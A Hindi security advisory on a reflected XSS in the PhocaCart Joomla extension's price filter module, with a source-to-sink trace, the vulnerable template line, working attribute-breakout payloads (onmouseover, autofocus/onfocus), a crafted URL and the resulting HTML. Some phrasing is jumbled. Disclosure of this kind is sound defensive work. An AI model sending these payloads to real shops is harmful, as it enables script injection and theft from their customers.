
PhocaCart में price_from और price_to फ़िल्टर पैरामीटर के माध्यम से रिफ्लेक्टेड XSS
PhocaCart ≤ 6.1.7 — बिना प्रमाणीकरण के हमलावर क्राफ्टेड मूल्य फ़िल्टर URL के माध्यम से मनमाना JavaScript इंजेक्ट करता है
Joomla के लिए PhocaCart 6.1.7, mod_phocacart_filter मॉड्यूल इंस्टॉल और प्रकाशित होने पर price_from और price_to GET पैरामीटर के माध्यम से Reflected Cross-Site Scripting (XSS) के प्रति संवेदनशील है। पैरामीटर Joomla के 'string' इनपुट फ़िल्टर का उपयोग करके संसाधित किए जाते हैं, जो केवल strip_tags() लागू करता है — यह लागू नहीं करता। कच्चे मान मॉड्यूल द्वारा रेंडर किए गए मूल्य फ़िल्टर फ़ॉर्म में HTML विशेषताओं में सीधे प्रतिध्वनित होते हैं।
htmlspecialchars()mod_phocacart_filtervalue=""एक हमलावर पीड़ित को एक क्राफ्टेड URL भेजता है। जब पीड़ित पृष्ठ लोड करता है, तो इंजेक्ट किया गया event handler उनके ब्राउज़र में निष्पादित होता है। किसी प्रमाणीकरण की आवश्यकता नहीं है। हमले के लिए mod_phocacart_filter (एक अलग से वितरित मॉड्यूल) का इंस्टॉल और प्रकाशित होना आवश्यक है।
| घटक | असुरक्षित | परीक्षण किया गया | समाधान |
|---|---|---|---|
| PhocaCart (com_phocacart) + mod_phocacart_filter | ≤ 6.1.7 | Joomla 5.4.7 + PhocaCart 6.1.7 + mod_phocacart_filter 6.1.6 | 6.1.8 |
प्रकार: Reflected XSS (CWE-79)
प्रमाणीकरण आवश्यक: नहीं — सार्वजनिक शॉप फ्रंटएंड
CSRF टोकन आवश्यक: नहीं (GET अनुरोध)
सिंक फ़ाइल: site/layouts/form_filter_horizontal_text.php:65,71
Joomla का 'string' इनपुट फ़िल्टर strip_tags() कॉल करता है — यह HTML टैग हटाता है लेकिन ", ', और > जैसे HTML विशेष वर्णों को बिना एन्कोड किए छोड़ देता है। price_from और price_to GET पैरामीटर इस फ़िल्टर के साथ प्राप्त किए जाते हैं और $data['getparams'] में संग्रहीत किए जाते हैं। टेम्पलेट फ़ाइलें इन मानों को htmlspecialchars() कॉल किए बिना सीधे value="" विशेषताओं में प्रतिध्वनित करती हैं, जिससे एट्रिब्यूट-संदर्भ इंजेक्शन संभव होता है।
डेटा प्रवाह — स्रोत से सिंक तक:
GET ?price_from=" onmouseover="alert(document.domain)
filter.php:831 $app->getInput()->get('price_from', '', 'string')
└─ Joomla 'string' filter = strip_tags() only
strip_tags('" onmouseover="alert(1)') → '" onmouseover="alert(1)' [unchanged!]
filter.php:494 $inA[] = $v // no encoding
└─ $data['getparams'] = ['" onmouseover="alert(document.domain)']
form_filter_horizontal_text.php:65:
└─ <input type="text" value="<?php echo $d['getparams'][0]; ?>" /> // → NO htmlspecialchars()
→ Renders: value="" onmouseover="alert(document.domain)"
→ XSS fires on mouseover
FORM_FILTER_HORIZONTAL_TEXT.PHP:65 — असुरक्षित सिंक
<input type="text" class="form-control" name="pricefrom"
value="<?php echo $d['getparams'][0]; ?>" <!-- NO htmlspecialchars() -->
id="phPriceFrom..." />
यही सिंक पैटर्न form_filter_text.php:81,87 (वर्टिकल लेआउट वैरिएंट) में भी मौजूद है। price_from और price_to दोनों पैरामीटर समान रूप से असुरक्षित हैं।
हमलावर price_from पैरामीटर में इंजेक्ट किए गए event-handler पेलोड के साथ शॉप आइटम्स व्यू को लक्षित करने वाला URL बनाता है। पेलोड value="" एट्रिब्यूट संदर्भ से बाहर निकल जाता है।
Payload (raw): " autofocus onfocus="alert(document.domain)
URL-encoded: %22%20autofocus%20onfocus%3D%22alert(document.domain)
Crafted URL:
http://TARGET/index.php?option=com_phocacart&view=items
&price_from=%22%20autofocus%20onfocus%3D%22alert(document.domain)
जब पीड़ित क्राफ्टेड URL खोलता है, तो शॉप आइटम्स पृष्ठ मूल्य फ़िल्टर फ़ॉर्म रेंडर करता है। इंजेक्ट की गई विशेषताएँ <input> तत्व में मौजूद होती हैं। autofocus onfocus पेलोड के साथ, JavaScript पृष्ठ लोड होते ही बिना किसी और उपयोगकर्ता इंटरैक्शन के निष्पादित हो जाता है।
रेंडर किया गया HTML (असुरक्षित):
<input type="text" class="form-control" name="pricefrom"
value="" autofocus onfocus="alert(document.domain)"
id="phPriceFromTopricefrom" />

XSS पीड़ित के ब्राउज़र में ट्रिगर होता है — alert(document.domain) शॉप फ्रंटएंड में निष्पादन संदर्भ की पुष्टि करता है